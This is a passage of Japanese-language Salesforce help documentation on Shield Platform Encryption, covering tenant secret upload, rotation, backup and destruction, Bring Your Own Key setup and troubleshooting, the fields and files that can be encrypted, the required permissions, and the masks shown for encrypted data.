4. プレーンテキストのテナントの秘密の SHA-256 ハッシュを計算します。
5. プレーンテキストのテナントの秘密の SHA-256 ハッシュを base64 にエンコー

ドします。
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テナントの秘密のアップロード

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を管理す
る
• 「アプリケーションの

カスタマイズ」

および

「暗号化鍵の管理」

テナントの秘密の準備ができたら、Salesforceにアップロードして、Shield Platform

Encryption 鍵管理マシンが組織固有のデータ暗号化鍵の派生に使用できるように
します。
1. [設定] で、[クイック検索] ボックスを使用して [プラットフォームの暗号化]

設定ページに移動します。
2. [テナントの秘密をアップロード] をクリックします。
3. [テナントの秘密をアップロード] セクションで、暗号化されたテナントの秘

密とハッシュされたプレーンテキストのテナントの秘密の両方を添付しま
す。[アップロード] をクリックします。

このテナントの秘密は自動的に有効なテナントの秘密になります。

メモ: 有効期限が最も遅いテナントの秘密が自動的に有効なテナントの
秘密になります。

これで、テナントの秘密を鍵の派生に使用する準備ができました。これ以降、Salesforce 鍵派生サーバは、
ここで生成したテナントの秘密を使用して、アプリケーションサーバがユーザのデータの暗号化と復号化
に使用する組織固有の鍵を派生させます。

4. テナントの秘密をエクスポートし、組織のセキュリティポリシーで規定された方法でバックアップします。
テナントの秘密を復元する必要がある場合は、再インポートする必要があります。エクスポートされた秘
密は、アップロードした鍵とは異なります。異なる鍵で暗号化されていて、追加のメタデータが埋め込ま
れています。Salesforce ヘルプの「テナントの秘密のバックアップ」を参照してください。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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暗号化鍵のローテーション

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を破棄す
る
• 「暗号化鍵の管理」

テナントの秘密のライフサイクルを制御することで、組織のデータ暗号化鍵の
ライフサイクルを制御します。定期的に新しいテナントの秘密を生成して、そ
れまで有効であったものをアーカイブする必要があります。
組織のセキュリティポリシーを参照して、テナントの秘密をローテーションす
る頻度を決定します。本番組織では 24 時間ごとに、Sandbox 環境では 4 時間ごと
にローテーションできます。
鍵派生関数では主秘密が使用されます。主秘密は、Salesforce のメジャーリリー
ス時に毎回ローテーションされます。テナントの秘密をローテーションするま
で、暗号化鍵や暗号化されたデータに影響はありません。
1. 組織の鍵の状況を確認するには、[設定] に移動し [クイック検索]ボックスを

使用してプラットフォームの暗号化設定ページを探します。鍵の状況には [有
効]、[アーカイブ済み]、[破棄済み] があります。
有効

新規または既存のデータを暗号化および復号化する場合に使用される可
能性があります。

アーカイブ済み
新しいデータを暗号化できません。鍵が有効であったときにこの鍵を使
用して以前に暗号化されたデータを復号化する場合に使用される可能性
があります。

破棄済み
データを暗号化および復号化することはできません。鍵が有効であった
ときにこの鍵を使用して暗号化されたデータを復号化することはできません。この鍵で暗号化したファ
イルおよび添付ファイルはダウンロードできません。

2. [設定] で、[クイック検索] ボックスを使用して [プラットフォームの暗号化] 設定ページを見つけます。
3. [新しいテナントの秘密を生成] をクリックします。
4. 既存の項目値を新規生成したテナントの秘密で再度暗号化する場合は、Salesforce サポートに問い合わせて

ください。
API 経由でオブジェクトをエクスポートするか、レコード ID を含むレポートを実行して、更新するデータを
取得します。この操作により、暗号化サービスが、最新の鍵を使用して既存のデータを再度暗号化します。

メモ: このページは、従来の暗号化ではなく Shield プラットフォームの暗号化について書かれています。
相違点

関連トピック:

https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_tenantsecret.htm
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テナントの秘密のバックアップ

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を破棄す
る
• 「暗号化鍵の管理」

テナントの秘密は、組織およびテナントの秘密を適用する特定のデータに対し
て一意です。秘密をエクスポートして、関連データに再度アクセスする必要が
生じた場合に、引き続きデータにアクセスできるようにすることをお勧めしま
す。
1. [設定] で、[クイック検索] ボックスを使用して [プラットフォームの暗号化]

設定ページを見つけます。
2. 鍵が表示されているテーブルで、エクスポートするテナントの秘密を見つ

け、[エクスポート] をクリックします。
3. 警告ボックスで選択内容を確認し、エクスポートされたファイルを保存しま

す。
ファイル名は tenant-secret-org-<組織 ID>-ver-<テナントの秘密のバー
ジョン番号>.txt です。たとえば、
「tenant-secret-org-00DD00000007eTR-ver-1.txt」などです。

4. エクスポートする特定のバージョンを確認し、エクスポートされたファイル
に意味のある名前を付けます。組織にインポートし直す必要が生じた場合に
備えて、ファイルを安全な場所に保存します。

メモ: エクスポートされたテナントの秘密はそれ自体が暗号化されてい
ます。

5. テナントの秘密をインスポートし直すには、[インポート] > [ファイルを選択]

をクリックして、ファイルを選択します。テナントの秘密の正しいバージョ
ンをインポートしていることを確認します。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

関連トピック:

https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_tenantsecret.htm
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テナントの秘密の破棄

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密を破棄す
る
• 「暗号化鍵の管理」

テナントの秘密の破棄は、関連データにアクセスする必要がなくなったという
極端な場合にのみ行います。テナントの秘密は、組織およびテナントの秘密を
適用する特定のデータに対して一意です。テナントの秘密を破棄すると、以前
にエクスポートした鍵を Salesforce にインポートし直さない限り、関連データに
アクセスできなくなります。
データおよびテナントの秘密をバックアップして、安全な場所に保存する責任
はお客様が単独で負うものとします。Salesforce では、テナントの秘密の削除、
破棄、置き忘れが発生してもサポートできません。
1. [設定] で、[クイック検索] ボックスを使用して [プラットフォームの暗号化]

設定ページを見つけます。
2. テナントの秘密が表示されているテーブルで、破棄する秘密を示す行に移動

し [廃棄] をクリックします。
3. 警告ボックスが表示されます。表示されているとおりテキストを入力し、テ

ナントの秘密を破棄していることを確認するチェックボックスをオンにし
て、[廃棄] をクリックします。

ファイルのプレビューおよびユーザのブラウザにすでにキャッシュされたコン
テンツが、そのコンテンツを暗号化した鍵を破棄した後もユーザが再ログイン
するまで引き続きクリアテキストで表示されることがあります。
本番組織から Sandbox 組織を作成し、その後 Sandbox 組織でテナントの秘密を破
棄しても、本番組織にはテナントの秘密が存在し続けます。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

関連トピック:

https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_tenantsecret.htm
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Shield プラットフォームの暗号化の無効化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

暗号化を無効にする
• 「アプリケーションの

カスタマイズ」

ある時点で、項目やファイルあるいはその両方のShield プラットフォームの暗号
化を無効にする必要が生じる場合があります。項目の暗号化は個別に有効また
は無効にできますが、ファイルの暗号化はすべてを有効または無効にする必要
があります。
Shield プラットフォームの暗号化を無効にしても、暗号化データは一括で復号化
されず、暗号化の影響を受けている機能も復元されません。プラットフォーム
の暗号化を無効にした後、変更の最終処理についてサポートが必要な場合は、
Salesforce にお問い合わせください。
1. [設定] から、[クイック検索] を使用して [プラットフォームの暗号化] を検索

します。
2. [項目を暗号化] をクリックし、[編集] をクリックします。
3. 暗号化を停止する項目を選択解除して、[保存] をクリックします。

ユーザはこれらの項目のデータを表示できます。
4. ファイルの暗号化を無効にするには、[ファイルと添付ファイルを暗号化] を

選択解除し、[保存] をクリックします。
暗号化項目に適用される制限と特殊な動作は、暗号化を無効にしても保持され
ます。値は保存時に暗号化されたままにすることができます。以前に暗号化さ
れたファイルと添付ファイルはすべて暗号化された状態で保存されています。
暗号化項目は、暗号化を無効にしても、暗号化に使用された鍵が破棄されてい
なければ引き続きアクセスできます。

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされな
くなります。これは、暗号化データを操作するための一部のユーザの機能
に影響する可能性があります。特定のユーザに表示されないようにしたい
データがある場合、項目レベルセキュリティ設定 (ページ627)、レコードア
クセス設定、およびオブジェクト権限 (ページ 630)に再確認します。

関連トピック:

親トピックに戻る
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Shield プラットフォームの暗号化のしくみ

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryptionは、ユーザに制御される一意のテナントの秘密と、Salesforce

で維持される主秘密に依存します。これらの秘密を組み合わせて一意のデータ
暗号化鍵が作成されます。この鍵を使用して、ユーザが Salesforce に配置したデー
タが暗号化され、承認されたユーザがデータを必要とする場合にデータが復号
化されます。
ファイル、項目、および添付ファイルの暗号化は、組織のストレージ制限に影
響しません。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。相違点

独自の鍵を使用できるか?

はい。独自の暗号ライブラリ、エンタープライズ鍵管理システム、または
ハードウェアセキュリティモジュール (HSM) を使用して、Salesforce の外部に
テナントの秘密を作成して保存できます。その後、Salesforce  Shield Platform

Encryption鍵管理マシンにそれらの鍵へのアクセス権を付与します。自己署名
証明書または CA 署名証明書のどちらの公開鍵を使用して鍵を暗号化するか
を選択できます。
暗号化できる項目は?

取引先、取引先責任者、ケース、ケースコメントオブジェクトおよび Chatter の特定の項目を暗号化できま
す。Shield Platform Encryption がオンになっていると、「暗号化されたデータの参照」権限があるユーザは暗
号化された項目の内容を表示できますが、この権限がないユーザの場合、マスクされた値がのみが表示さ
れます。
どのファイルが暗号化されますか?

ファイルおよび添付ファイルの Shield プラットフォームの暗号化を有効にすると、暗号化可能なすべての
ファイルおよび添付ファイルは暗号化されます。各ファイルまたは添付ファイルの内容は、アップロード
時に暗号化されます。
Shield プラットフォームの暗号化に必要なユーザ権限
暗号化に関するロールに基づいて権限をユーザに割り当てます。一部のユーザは、暗号化するデータの選
択や暗号化鍵の操作を行うために、権限の組み合わせが必要になります。他のユーザ権限と同様、次の権
限を有効にできます。
暗号化データの外観
暗号化された情報がユーザやシステム管理者にどのように表示されるかについては、権限、情報がファイ
ルと項目のどちらにあるか、およびその他の要素で異なります。一方、どのユーザが機密データにアクセ
スできるかの制御は、システム管理者が行います。
バックグラウンド: Shield プラットフォームの暗号化のプロセス
ユーザがデータを送信する場合、アプリケーションサーバは、そのキャッシュから組織固有のデータ暗号
化鍵を検索します。キャッシュにない場合、アプリケーションサーバは、データベースから暗号化された
テナントの秘密を取得し、鍵派生サーバに鍵の派生を要求します。次に、暗号化サービスにより、アプリ
ケーションサーバでデータが暗号化されます。
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バックグラウンド: 検索インデックスの暗号化のプロセス
Salesforce 検索エンジンは、オープンソースのエンタープライズ検索プラットフォームソフトウェア Apache

Solr 上に構築されています。検索インデックスは、データベースに保存された元のレコードにリンクするレ
コードデータのトークンを保存しており、Solr 内に存在します。Salesforce では、検索インデックスはパー
ティションでセグメントに分割されるので、規模を拡張できます。Apache Lucene はコアライブラリとして
使用されます。
Shield プラットフォームの暗号化のリリース方法
Force.com IDE、移行ツール、ワークベンチなどのツールを使用して Shield プラットフォームの暗号化を組織
にリリースする場合、暗号化項目属性は保持されます。ただし、異なる暗号化設定の組織にリリースする
場合、その影響は対象組織でShield プラットフォームの暗号化が有効になっているかどうかによって異なり
ます。
Shield プラットフォームの暗号化は、Sandbox でどのように機能しますか?

本番組織から Sandbox を更新すると、本番組織の正確なコピーが作成されます。本番組織で Shield プラット
フォームの暗号化が有効になっている場合、本番で作成されたテナントの秘密を含め、すべての暗号化設
定がコピーされます。
Shield プラットフォームの暗号化の用語
暗号化には、独自の特殊な用語があります。Shield プラットフォームの暗号化機能を最大限活用するため
に、ハードウェアセキュリティモジュール、鍵のローテーション、主秘密などの重要な用語をよく理解す
ることをお勧めします。
従来の暗号化と Shield プラットフォームの暗号化との違い
Shield Platform Encryption では、広く使用されているさまざまな標準項目、一部のカスタム項目、および種々
のファイルを暗号化できます。Shield Platform Encryption では、個人取引先、ケース、検索、承認プロセス、
およびその他の重要な Salesforce 機能もサポートします。従来の暗号化では、その目的で作成した特殊なカ
スタムテキスト項目のみを保護できます。

関連トピック:

プラットフォームの暗号化の概要
https://resources.docs.salesforce.com/202/latest/en-us/sfdc/pdf/salesforce_platform_encryption_implementation_guide.pdf

独自の鍵を使用できるか?

はい。独自の暗号ライブラリ、エンタープライズ鍵管理システム、またはハードウェアセキュリティモジュー
ル (HSM) を使用して、Salesforceの外部にテナントの秘密を作成して保存できます。その後、Salesforce  Shield Platform

Encryption 鍵管理マシンにそれらの鍵へのアクセス権を付与します。自己署名証明書または CA 署名証明書のど
ちらの公開鍵を使用して鍵を暗号化するかを選択できます。
鍵管理マシンを使用するには、テナントの秘密が次の仕様を満たしている必要があります。
• 256 ビットサイズ
• ダウンロードされた BYOK 証明書から抽出された公開 RSA 鍵を使用して暗号化され、OAEP パディングを使用

してパディングされている
• 一旦暗号化されると、標準の base64 でエンコードされる必要がある
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暗号化鍵を使用するには、「暗号化鍵の管理」権限が必要です。BYOK 互換の証明書を生成するには、「アプ
リケーションのカスタマイズ」権限が必要です。

Bring Your Own Key を使用する理由
Bring Your Own Key (BYOK) を使用することで、重要なデータへの不正アクセスが発生した場合に、より強固に
保護できます。金融データ (クレジットカード番号など)、医療データ (カルテや保険情報など)、またはその
他のプライベートなデータ (社会保障番号、住所、電話番号など) を扱う場合に義務付けられる規制要件を
満たすのに役立つ場合もあります。鍵の設定が完了すれば、通常に Salesforce 組織内で暗号化を行うのと同
じように Shield Platform Encryption を使用できます。
鍵の適切な管理
Salesforce 外で独自の鍵素材を作成および保存する場合は、それらのテナントの秘密を保護することが重要
です。テナントの秘密をアーカイブするための信頼できる場所を確保し、テナントの秘密をバックアップ
なしでハードドライブに保存しないようにします。
BYOK のテナントの秘密を生成するためのサンプルスクリプト
テナントの秘密のインストール準備に役立つヘルパースクリプトが用意されています。このスクリプトは、
テナントの秘密として乱数を生成し、秘密の SHA256 ハッシュを計算し、証明書からの公開鍵を使用して秘
密を暗号化します。
Bring Your Own Key のトラブルシューティング
次に紹介するよくある質問を、問題が発生した場合のトラブルシューティングに役立ててください。

Bring Your Own Key を使用する理由
Bring Your Own Key (BYOK) を使用することで、重要なデータへの不正アクセスが発生した場合に、より強固に保
護できます。金融データ (クレジットカード番号など)、医療データ (カルテや保険情報など)、またはその他の
プライベートなデータ (社会保障番号、住所、電話番号など) を扱う場合に義務付けられる規制要件を満たすの
に役立つ場合もあります。鍵の設定が完了すれば、通常にSalesforce組織内で暗号化を行うのと同じようにShield

Platform Encryption を使用できます。
Shield Platform Encryptionを使用すると、Salesforce管理者は、データ暗号化鍵を不正アクセスから保護しつつ、こ
れらの鍵のライフサイクルを管理できます。組織のテナントの秘密のライフサイクルを制御することで、派生
するデータ暗号化鍵のライフサイクルを制御します。
データ暗号化鍵は Salesforce 内に保存されません。顧客データを暗号化または復号化する鍵が必要になるたび
に、主秘密とテナントの秘密を使用してオンデマンドで派生します。主秘密は、リリースごとに 1 回、すべて
のユーザ向けに、ハードウェアセキュリティモジュール (HSM) によって生成されます。テナントの秘密は、組
織に対して一意で、生成、有効化、破棄のタイミングを制御できます。
テナントの秘密は、次の 2 つの方法で生成できます。
• Salesforceハードウェアセキュリティモジュール (HSM) 鍵管理インフラストラクチャを使用して、組織固有の

テナントの秘密を生成する。
• オンプレミス HSM などの任意のインフラストラクチャを使用して、テナントの秘密を生成および管理する。

この方法は一般に「Bring Your Own Key」と呼ばれますが、実際には独自の鍵ではなく、鍵を派生させるため
の独自のテナントの秘密を使用します。
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鍵の適切な管理
Salesforce 外で独自の鍵素材を作成および保存する場合は、それらのテナントの秘密を保護することが重要で
す。テナントの秘密をアーカイブするための信頼できる場所を確保し、テナントの秘密をバックアップなしで
ハードドライブに保存しないようにします。
インポートしたテナントの秘密をSalesforceにアップロードした後にすべてバックアップし、有効なテナントの
秘密のコピーがあるようにします。Salesforce ヘルプの「テナントの秘密のバックアップ」を参照してくださ
い。
鍵のローテーションに関する会社のポリシーを確認します。鍵のローテーションと更新は独自のスケジュール
で行うことができます。「暗号化鍵のローテーション」を参照してください。

重要: テナントの秘密をバックアップしておらず、誤って破棄してしまった場合、Salesforceではそれを取
り戻す支援はできません。

BYOK のテナントの秘密を生成するためのサンプルスクリプト
テナントの秘密のインストール準備に役立つヘルパースクリプトが用意されています。このスクリプトは、テ
ナントの秘密として乱数を生成し、秘密の SHA256 ハッシュを計算し、証明書からの公開鍵を使用して秘密を
暗号化します。
1. Salesforce 知識ベースからスクリプトをダウンロードし、証明書と同じディレクトリに保存します。
2. 次のように、証明書名を指定してスクリプトを実行します: ./secretgen.sh my_certificate.crt

この証明書名を実際にダウンロードした証明書のファイル名に置き換えてください。

ヒント: 必要に応じて、chmod +w secretgen.shを使用してファイルへの更新権限を持つようにし、
chmod 775 を使用してファイルを実行可能にします。

3. スクリプトによっていくつかのファイルが生成されます。末尾に .b64 サフィックスを持つ 2 つのファイル
を探します。
末尾に .b64 があるファイルは Base64 でエンコードされた暗号化されたテナントの秘密と、プレーンテキス
トのテナントの秘密の Base64 でエンコードされたハッシュです。次のステップでは、これらの両方のファ
イルが必要になります。

Bring Your Own Key のトラブルシューティング
次に紹介するよくある質問を、問題が発生した場合のトラブルシューティングに役立ててください。
提供されたスクリプトを使用しようとしていますが、実行できません。

オペレーティングシステムに適したスクリプトを実行していることを確認します。Windows マシンで作業し
ている場合は、Linux エミュレータをインストールして Linux スクリプトを使用することができます。次の問
題によってスクリプトを実行できない場合もあります。
• スクリプトを実行しようとしているフォルダでの更新権限がない。更新権限を持っているフォルダから

スクリプトを実行するようにします。
• スクリプトが参照する証明書が存在しない。適切に証明書を生成したことを確認します。
• 証明書が存在しないか、正しい名前で参照されていない。スクリプト内で証明書の正しいファイル名を

入力したことを確認します。
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提供されたスクリプトを使用したいのですが、独自の乱数ジェネレータも使用する必要があります。
Salesforce が提供するスクリプトでは、乱数ジェネレータを使用して、テナントの秘密として使用するラン
ダムな値を作成します。別のジェネレータを使用する場合は、head -c 32 /dev/urandom | tr '\n'

=  (Mac バージョンでは head -c 32 /dev/urandom > $PLAINTEXT_SECRET) を、希望するジェネレータ
を使用して乱数を生成するコマンドに置き換えます。

テナントの秘密をハッシュするために独自のハッシュプロセスを使用したい場合はどうなりますか?

問題ありません。最終結果が次の要件を満たすようにしてください。
• SHA-256 アルゴリズムを使用している。
• base64 でエンコードされたハッシュ済みのテナントの秘密が作成される。
• 暗号化する前に乱数のハッシュを生成する。
これらの 3 つの条件のいずれかが満たされていない場合は、テナントの秘密をアップロードできません。

テナントの秘密を Salesforce にアップロードする前に、どのように暗号化する必要がありますか?

提供されたスクリプトを使用している場合は、暗号化プロセスは問題なく処理されます。提供されたスク
リプトを使用しない場合は、テナントの秘密を暗号化するときに OAEP パディング方式を指定します。暗号
化されたテナントの秘密ファイルとハッシュされたテナントの秘密ファイルが base64 を使用してエンコー
ドされているようにします。これらの条件のいずれかが満たされていない場合は、テナントの秘密をアッ
プロードできません。
提供されたスクリプトを使用しない場合は、ヘルプトピック「テナントの秘密の生成とラッピング」の手
順に従ってください。

暗号化されたテナントの秘密とハッシュされたテナントの秘密をアップロードできません。
いくつかのエラーによりファイルをアップロードできない場合があります。次の表を使用して、テナント
の秘密と証明書に問題がないことを確認してください。

解決方法考えられる原因

証明書の日付を確認します。期限が切れている場合は、証明書を更新する
か、別の証明書を使用できます。

期限切れの証明書を使用し
てファイルが生成された。

証明書の設定に Bring Your Own Key 機能との互換性があることを確認します。
[証明書] ページの [証明書と鍵の編集] セクションで、4096 ビット証明書サイ

証明書が無効になっている
か、有効な Bring Your Own

Key 証明書ではない。 ズを選択し、エクスポート可能な非公開鍵を無効にし、プラットフォームの
暗号化を有効にします。

暗号化されたテナントの秘密とハッシュされたテナントの秘密の両方を添付
していることを確認します。これらの両方のファイルのサフィックスが .b64

になっている必要があります。

暗号化されたテナントの秘
密とハッシュされたテナン
トの秘密の両方を添付して
いない。

このエラーの原因となる問題はいくつかあります。通常は、テナントの秘密
またはハッシュされたテナントの秘密が、正しい SSL パラメータを使用して

テナントの秘密またはハッ
シュされたテナントの秘密

生成されていないことが原因です。OpenSSL を使用している場合は、スクリが正しく生成されていな
い。 プトを参照して、テナントの秘密の生成とハッシュに使用する正しいパラ

メータの例を確認できます。OpenSSL 以外のライブラリを使用している場合
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解決方法考えられる原因

は、そのライブラリのサポートページでテナントの秘密の生成とハッシュの
両方の正しいパラメータを見つけるためのヘルプ情報を確認してください。
まだ問題が解決しない場合は Salesforceのアカウントエグゼクティブにお問い
合わせください。Salesforce の支援担当者をご紹介します。

まだ鍵に関する問題があります。どこに問い合わせすればよいですか?

まだ質問がある場合は、アカウントエグゼクティブにお問い合わせください。この機能を専門とするサポー
トチームをご紹介します。

暗号化できる項目は?

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

取引先、取引先責任者、ケース、ケースコメントオブジェクトおよび Chatter の
特定の項目を暗号化できます。Shield Platform Encryption がオンになっていると、
「暗号化されたデータの参照」権限があるユーザは暗号化された項目の内容を
表示できますが、この権限がないユーザの場合、マスクされた値がのみが表示
されます。

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされな
くなります。これは、暗号化データを操作するための一部のユーザの機能
に影響する可能性があります。特定のユーザに表示されないようにしたい
データがある場合、項目レベルセキュリティ設定 (ページ627)、レコードア
クセス設定、およびオブジェクト権限 (ページ 630)に再確認します。

いずれの場合も、暗号化項目は Salesforce ユーザインターフェース、ビジネスプ
ロセス、API のすべてで正常に機能します。ただし、暗号化項目は絞り込みがで
きないなどの例外はあります。
項目を暗号化しても、既存の値はすぐに暗号化されません。値は操作した後で
のみ暗号化されます。既存のデータの暗号化については、Salesforce にお問い合
わせください。

標準項目の暗号化
次の標準項目のデータ型のコンテンツを暗号化できます。
• 取引先オブジェクト:

– 取引先名
– 説明
– Fax

– Web サイト
– 電話

• 取引先責任者オブジェクト:

– 説明
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– メール
– Fax

– 自宅電話
– [住所(郵送先)]  ([町名・番地(郵送先)] および [市区郡(郵送先)] のみを暗号化)

– 携帯
– [名前]  ([名]、[ミドルネーム]、および [姓] を暗号化)

– その他の電話
– 電話

• ケースオブジェクト:

– 件名
– 説明

• ケースコメント:

– [本文]  (内部コメントを含む)

• Chatter フィード:

– フィードコメント — 本文
– フィード項目 — 本文
– フィード項目 — タイトル
– フィードリビジョン — 値
これらの項目には、フィード投稿、質問と回答、リンク名、コメント、アンケートの質問が含まれます。
アンケートの選択肢は暗号化されません。暗号化された Chatter 項目の改訂履歴も暗号化されます。暗号化
された Chatter 項目を編集または更新すると、古い情報は暗号化されたままになります。

メモ:  Chatter の暗号化を有効にすると、対象となるすべての Chatter 項目が暗号化されます。特定の
Chatter 項目のみを暗号化することはできません。

暗号化カスタム項目
次のカスタム項目データ型のいずれかに属する項目の内容を暗号化できます。
• メール
• 電話
• テキスト
• テキストエリア
• ロングテキストエリア
• URL

• 日付
• 日付/時間
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重要: カスタム項目が暗号化された後にデータ型を変更することはできません。カスタム電話項目および
カスタムメール項目の場合、項目形式も変更できません。

カスタム数式項目または条件に基づく共有ルールで現在または以前に暗号化されたカスタム項目は使用できま
せん。
スキーマビルダーを使用して暗号化カスタム項目を作成することはできません。
一部のカスタム項目は暗号化できません。
• [ユニーク]あるいは [外部 ID]属性のある項目、または以前に暗号化されたカスタム項目に基づいてこれ

らの属性が含まれる項目
• カスタム数式項目で使用されている項目
• 外部データオブジェクトの項目
• 取引先と取引先責任者のリレーションで使用されている項目

メモ: このページは、従来の暗号化ではなく Shield Platform Encryptionについて書かれています。この違いに
ついては、こちらをクリックしてください。

関連トピック:

項目の暗号化
親トピックに戻る
暗号化データの外観
数式を使用した暗号化されたデータの取得
互換性の問題の修正
Shield Platform Encryption のトレードオフおよび制限事項

どのファイルが暗号化されますか?

ファイルおよび添付ファイルの Shield プラットフォームの暗号化を有効にすると、暗号化可能なすべてのファ
イルおよび添付ファイルは暗号化されます。各ファイルまたは添付ファイルの内容は、アップロード時に暗号
化されます。
次の種別のファイルは、ファイル暗号化を有効にすると、暗号化されます。
• メールに添付されたファイル
• フィードに添付されたファイル
• レコードに添付されたファイル
• [コンテンツ] タブ、[ライブラリ] タブ、[ファイル] タブのファイル (ファイルのプレビュー、Salesforce CRM コ

ンテンツファイルなどの Salesforce ファイル)

• Salesforce Files Sync で管理され、Salesforce に保存されているファイル
• Chatter の投稿、コメント、サイドバーに添付されたファイル
• 新しいメモツールを使用したメモの本文テキスト
• ナレッジ記事に添付されたファイル
次の種別のファイルおよび添付ファイルは暗号化されません。
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• Chatter のグループ写真
• Chatter のプロファイル写真
• ドキュメント
• 新しいメモツールのメモプレビュー
• 古いメモツールのメモ

メモ: このページは、従来の暗号化ではなく Shield プラットフォームの暗号化について書かれています。
相違点

関連トピック:

ファイルおよび添付ファイルの暗号化

Shield プラットフォームの暗号化に必要なユーザ権限
暗号化に関するロールに基づいて権限をユーザに割り当てます。一部のユーザは、暗号化するデータの選択や
暗号化鍵の操作を行うために、権限の組み合わせが必要になります。他のユーザ権限と同様、次の権限を有効
にできます。

設定・定義の参
照

アプリケーショ
ンのカスタマイ

ズ

暗号化鍵の管理

暗号化された項目のデータの参照

プラットフォームの暗号化の [設定] ページの表示

鍵の管理を除く、プラットフォームの暗号化の [設定]

ページの編集

テナントの秘密の生成、破棄、エクスポート、イン
ポート

API を使用した TenantSecret オブジェクトのクエリ

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

関連トピック:

プロファイル
権限セット
ユーザ権限
親トピックに戻る
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暗号化データの外観
暗号化された情報がユーザやシステム管理者にどのように表示されるかについては、権限、情報がファイルと
項目のどちらにあるか、およびその他の要素で異なります。一方、どのユーザが機密データにアクセスできる
かの制御は、システム管理者が行います。

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされなくなります。これは、暗号化
データを操作するための一部のユーザの機能に影響する可能性があります。特定のユーザに表示されな
いようにしたいデータがある場合、項目レベルセキュリティ設定 (ページ 627)、レコードアクセス設定、
およびオブジェクト権限 (ページ 630)に再確認します。

保存時に暗号化されたデータとデータマスクの違いを理解することは重要です。保存時に暗号化されたデータ
とは、保存するときに暗号化されたデータのことです。たとえば、サーバ、データベース、およびファイルに
はすべて、保存時のデータが保管されています。マスクとは、項目の表示データを文字に置き換えて隠すこと
です。たとえば、社会保障番号項目ではセキュリティ強化のため、文字はアスタリスクで表示できます。
権限や、データがファイルか項目のどちらにあるかに応じて、マスクではなくクリアテキストで一部のテキス
トを表示できます。これには次のような理由が挙げられます。
• 項目レベルセキュリティ:項目レベルセキュリティ権限を持つユーザは、データが保存時に暗号化されてい

ても特定のデータにアクセスできます。たとえば、人事部長は項目の従業員の機密情報を表示する必要が
ありますが、従業員はその必要がありません。人事部長は機密データを表示できますが、保存時には暗号
化されたままになります。

• 暗号化されたファイルのデータは引き続き表示される:ファイルは暗号化されていても、アクセス権のある
ユーザにはデータが表示されたままになります。一方、項目の暗号化されたデータを表示するには、「暗
号化されたデータの参照」権限が必要です。ファイルのデータを非表示のままにする必要がある場合は、
適切な共有設定を使用します。

表示されるマスク
Shield プラットフォームの暗号化ではさまざまなマスクを使用します。データを非表示にするだけのものもあ
れば、非表示データに関する追加の情報を示すものもあります。

メモ: カスタム Lightning コンポーネントでは、データにマスクは適用されません。

意味マスクデータ型

この項目は暗号化されていて、暗
号化されたデータを表示する権限
がありません。

*****メール、電話、テキスト、テキス
トエリア、ロングテキストエリア、
URL

この項目は暗号化されていて、暗
号化鍵が破棄されています。

?????

このサービスは現在使用できませ
ん。このサービスへのアクセスに

!!!!!

ついては、Salesforceにお問い合わせ
ください。
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意味マスクデータ型

この項目は暗号化されていて、暗
号化されたデータを表示する権限
がありません。

07/07/1777カスタム日付

この項目は暗号化されていて、暗
号化鍵が破棄されています。

08/08/1888

このサービスは現在使用できませ
ん。このサービスへのアクセスに

01/01/1777

ついては、Salesforceにお問い合わせ
ください。

この項目は暗号化されていて、暗
号化されたデータを表示する権限
がありません。

07/07/1777 12:00 PMカスタム日付/時間

この項目は暗号化されていて、暗
号化鍵が破棄されています。

08/08/1888 12:00 PM

このサービスは現在使用できませ
ん。このサービスへのアクセスに

01/01/1777 12:00 PM

ついては、Salesforceにお問い合わせ
ください。

メモ: マスク文字を暗号化項目に入力することはできません。たとえば、電話項目が暗号化されていて、
電話番号に「*****」と入力したり、日付項目が暗号化されていて、「07/07/1777」と入力したりすると、
データは保存されません。
